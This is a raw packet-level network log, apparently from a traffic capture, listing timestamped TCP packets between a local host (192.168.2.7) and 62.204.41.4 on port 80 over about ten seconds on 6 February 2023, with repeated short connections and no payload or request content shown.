Feb 6, 2023 18:38:02.079345942 CET	50186	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.139952898 CET	80	50185	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:02.140225887 CET	50185	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.141647100 CET	80	50186	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:02.144961119 CET	50186	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.145296097 CET	50186	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.207793951 CET	80	50186	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:02.211823940 CET	80	50186	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:02.211994886 CET	50186	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.327650070 CET	50186	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.329204082 CET	50187	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.389476061 CET	80	50186	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:02.389561892 CET	80	50187	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:02.389656067 CET	50186	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.389734983 CET	50187	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.390913010 CET	50187	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.451554060 CET	80	50187	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:02.453962088 CET	80	50187	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:02.455156088 CET	50187	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.563606977 CET	50187	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.564444065 CET	50188	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.624057055 CET	80	50187	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:02.624233007 CET	50187	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.625727892 CET	80	50188	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:02.625905991 CET	50188	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.626277924 CET	50188	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.687427044 CET	80	50188	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:02.690078020 CET	80	50188	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:02.690334082 CET	50188	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.795587063 CET	50188	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.796284914 CET	50189	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.857136965 CET	80	50188	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:02.857307911 CET	50188	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.859193087 CET	80	50189	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:02.859358072 CET	50189	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.860152006 CET	50189	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:02.923379898 CET	80	50189	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:02.926038027 CET	80	50189	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:02.926187038 CET	50189	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.052620888 CET	50189	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.053714991 CET	50190	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.115726948 CET	80	50189	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:03.115915060 CET	50189	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.116202116 CET	80	50190	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:03.116347075 CET	50190	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.117137909 CET	50190	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.180265903 CET	80	50190	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:03.186362982 CET	80	50190	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:03.186610937 CET	50190	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.311413050 CET	50190	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.312102079 CET	50191	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.373673916 CET	80	50191	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:03.373817921 CET	50191	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.374136925 CET	50191	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.375000000 CET	80	50190	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:03.375128984 CET	50190	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.435770988 CET	80	50191	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:03.439101934 CET	80	50191	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:03.439260006 CET	50191	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.546082020 CET	50191	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.547569990 CET	50192	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.609318972 CET	80	50191	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:03.609441996 CET	50191	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.609503031 CET	80	50192	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:03.609591961 CET	50192	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.610611916 CET	50192	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.672604084 CET	80	50192	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:03.675545931 CET	80	50192	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:03.675703049 CET	50192	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.781172991 CET	50192	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.782246113 CET	50193	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.842602968 CET	80	50192	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:03.842703104 CET	50192	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.845839024 CET	80	50193	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:03.845942974 CET	50193	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.846257925 CET	50193	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:03.908669949 CET	80	50193	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:03.912359953 CET	80	50193	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:03.912468910 CET	50193	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.039278030 CET	50193	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.039905071 CET	50194	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.099391937 CET	80	50194	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:04.099656105 CET	50194	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.099905968 CET	50194	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.101830006 CET	80	50193	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:04.101907015 CET	50193	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.159182072 CET	80	50194	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:04.165308952 CET	80	50194	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:04.165369034 CET	50194	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.280061007 CET	50194	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.280653954 CET	50195	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.339803934 CET	80	50194	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:04.339895964 CET	50194	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.342173100 CET	80	50195	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:04.342314005 CET	50195	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.351511002 CET	50195	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.413619041 CET	80	50195	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:04.417937040 CET	80	50195	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:04.418014050 CET	50195	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.530301094 CET	50195	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.530961990 CET	50196	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.591897964 CET	80	50195	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:04.591975927 CET	50195	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.592381001 CET	80	50196	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:04.592485905 CET	50196	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.592802048 CET	50196	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.655149937 CET	80	50196	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:04.661218882 CET	80	50196	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:04.664216042 CET	50196	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.780251980 CET	50196	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.780924082 CET	50197	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.843332052 CET	80	50196	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:04.844445944 CET	80	50197	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:04.844574928 CET	50196	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.844644070 CET	50197	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.844993114 CET	50197	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:04.906579018 CET	80	50197	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:04.909439087 CET	80	50197	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:04.911700964 CET	50197	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.017173052 CET	50197	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.017855883 CET	50198	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.079221964 CET	80	50197	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:05.079323053 CET	80	50198	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:05.079487085 CET	50198	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.079516888 CET	50197	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.080347061 CET	50198	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.144226074 CET	80	50198	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:05.149249077 CET	80	50198	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:05.149406910 CET	50198	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.264415026 CET	50198	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.265338898 CET	50199	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.325819016 CET	80	50198	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:05.325845003 CET	80	50199	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:05.325941086 CET	50198	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.325987101 CET	50199	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.327038050 CET	50199	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.387294054 CET	80	50199	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:05.389956951 CET	80	50199	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:05.393363953 CET	50199	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.503431082 CET	50199	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.505141973 CET	50200	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.563857079 CET	80	50199	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:05.564217091 CET	50199	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.566776991 CET	80	50200	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:05.566909075 CET	50200	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.567461967 CET	50200	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.629559994 CET	80	50200	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:05.634252071 CET	80	50200	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:05.634452105 CET	50200	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.750041962 CET	50200	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.751012087 CET	50201	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.812772989 CET	80	50200	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:05.812958002 CET	50200	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.814821005 CET	80	50201	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:05.814970970 CET	50201	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.815510988 CET	50201	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:05.879414082 CET	80	50201	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:05.880518913 CET	80	50201	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:05.880588055 CET	50201	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.059788942 CET	50201	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.062361956 CET	50202	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.122483969 CET	80	50201	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:06.122625113 CET	50201	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.124763966 CET	80	50202	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:06.124886036 CET	50202	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.231570005 CET	50202	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.294261932 CET	80	50202	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:06.299165010 CET	80	50202	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:06.299268961 CET	50202	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.405498981 CET	50202	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.406177044 CET	50203	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.469150066 CET	80	50203	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:06.469350100 CET	50203	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.469485998 CET	80	50202	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:06.469552994 CET	50202	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.492873907 CET	50203	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.554986954 CET	80	50203	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:06.557442904 CET	80	50203	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:06.557602882 CET	50203	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.670826912 CET	50203	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.671729088 CET	50204	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.732358932 CET	80	50203	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:06.732445955 CET	50203	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.733022928 CET	80	50204	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:06.733123064 CET	50204	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.733576059 CET	50204	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.795171022 CET	80	50204	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:06.797574997 CET	80	50204	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:06.797763109 CET	50204	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.953068972 CET	50204	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:06.953717947 CET	50205	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:07.014714956 CET	80	50204	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:07.014858007 CET	50204	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:07.016030073 CET	80	50205	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:07.016132116 CET	50205	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:07.442403078 CET	50205	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:07.505108118 CET	80	50205	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:07.509082079 CET	80	50205	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:07.509238005 CET	50205	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:07.764493942 CET	50205	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:07.765261889 CET	50206	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:07.826970100 CET	80	50205	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:07.827053070 CET	80	50206	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:07.827112913 CET	50205	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:07.827150106 CET	50206	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:07.828165054 CET	50206	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:07.889698029 CET	80	50206	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:07.892654896 CET	80	50206	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:07.892788887 CET	50206	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:08.532605886 CET	50206	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:08.533427954 CET	50207	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:08.594491005 CET	80	50206	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:08.594647884 CET	50206	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:08.595906019 CET	80	50207	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:08.596057892 CET	50207	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:08.630703926 CET	50207	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:08.693469048 CET	80	50207	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:08.697093964 CET	80	50207	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:08.697278976 CET	50207	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.003519058 CET	50207	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.004640102 CET	50208	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.066550970 CET	80	50207	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:09.066677094 CET	50207	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.067085981 CET	80	50208	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:09.067186117 CET	50208	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.067569017 CET	50208	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.129895926 CET	80	50208	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:09.133527994 CET	80	50208	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:09.133598089 CET	50208	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.250933886 CET	50208	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.252389908 CET	50209	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.313507080 CET	80	50208	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:09.313730001 CET	50208	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.314713955 CET	80	50209	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:09.314855099 CET	50209	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.315254927 CET	50209	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.377805948 CET	80	50209	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:09.380939960 CET	80	50209	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:09.381057024 CET	50209	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.492516041 CET	50209	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.493149042 CET	50210	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.555180073 CET	80	50209	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:09.555500984 CET	80	50210	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:09.555661917 CET	50209	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.555711985 CET	50210	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.556488037 CET	50210	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.618915081 CET	80	50210	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:09.621283054 CET	80	50210	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:09.621603012 CET	50210	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.733952045 CET	50210	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.734586954 CET	50211	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.796593904 CET	80	50210	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:09.796902895 CET	80	50211	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:09.797027111 CET	50210	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.797070026 CET	50211	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.797467947 CET	50211	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.859793901 CET	80	50211	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:09.862864971 CET	80	50211	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:09.863006115 CET	50211	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.969228983 CET	50211	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:09.970520020 CET	50212	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.032568932 CET	80	50211	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.032731056 CET	50211	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.032975912 CET	80	50212	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.033082962 CET	50212	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.033407927 CET	50212	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.095617056 CET	80	50212	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.100136042 CET	80	50212	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.100702047 CET	50212	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.202805996 CET	50212	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.203480005 CET	50213	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.265769958 CET	80	50213	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.265913010 CET	50213	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.265960932 CET	80	50212	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.266407967 CET	50213	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.266444921 CET	50212	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.328932047 CET	80	50213	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.331212997 CET	80	50213	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.331388950 CET	50213	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.438827991 CET	50213	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.440577030 CET	50214	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.500613928 CET	80	50213	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.500842094 CET	50213	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.502213001 CET	80	50214	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.502453089 CET	50214	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.502845049 CET	50214	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.564572096 CET	80	50214	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.566845894 CET	80	50214	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.567027092 CET	50214	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.687489986 CET	50214	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.688184977 CET	50215	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.749011040 CET	80	50215	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.749177933 CET	50215	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.749217987 CET	80	50214	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.749336958 CET	50214	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.750044107 CET	50215	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.810995102 CET	80	50215	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.813678980 CET	80	50215	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.813855886 CET	50215	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.921171904 CET	50215	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.921838999 CET	50216	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.982278109 CET	80	50215	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.982495070 CET	50215	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.983628035 CET	80	50216	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:10.983779907 CET	50216	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:10.984164953 CET	50216	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.046298027 CET	80	50216	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:11.049561977 CET	80	50216	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:11.049663067 CET	50216	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.155437946 CET	50216	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.156090975 CET	50217	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.217871904 CET	80	50216	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:11.218050957 CET	50216	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.218741894 CET	80	50217	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:11.218943119 CET	50217	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.221533060 CET	50217	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.283998013 CET	80	50217	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:11.286397934 CET	80	50217	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:11.286494017 CET	50217	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.390916109 CET	50217	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.392560959 CET	50218	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.453012943 CET	80	50217	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:11.453217983 CET	50217	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.454622984 CET	80	50218	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:11.454827070 CET	50218	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.455699921 CET	50218	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.518948078 CET	80	50218	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:11.520849943 CET	80	50218	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:11.520976067 CET	50218	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.625145912 CET	50218	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.626631021 CET	50219	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.687355042 CET	80	50218	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:11.687501907 CET	50218	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.689882994 CET	80	50219	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:11.690026999 CET	50219	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.691916943 CET	50219	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.754518032 CET	80	50219	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:11.757682085 CET	80	50219	62.204.41.4	192.168.2.7
Feb 6, 2023 18:38:11.757781029 CET	50219	80	192.168.2.7	62.204.41.4
Feb 6, 2023 18:38:11.885410070 CET	50219	80	192.168.2.7	62.204.41.4
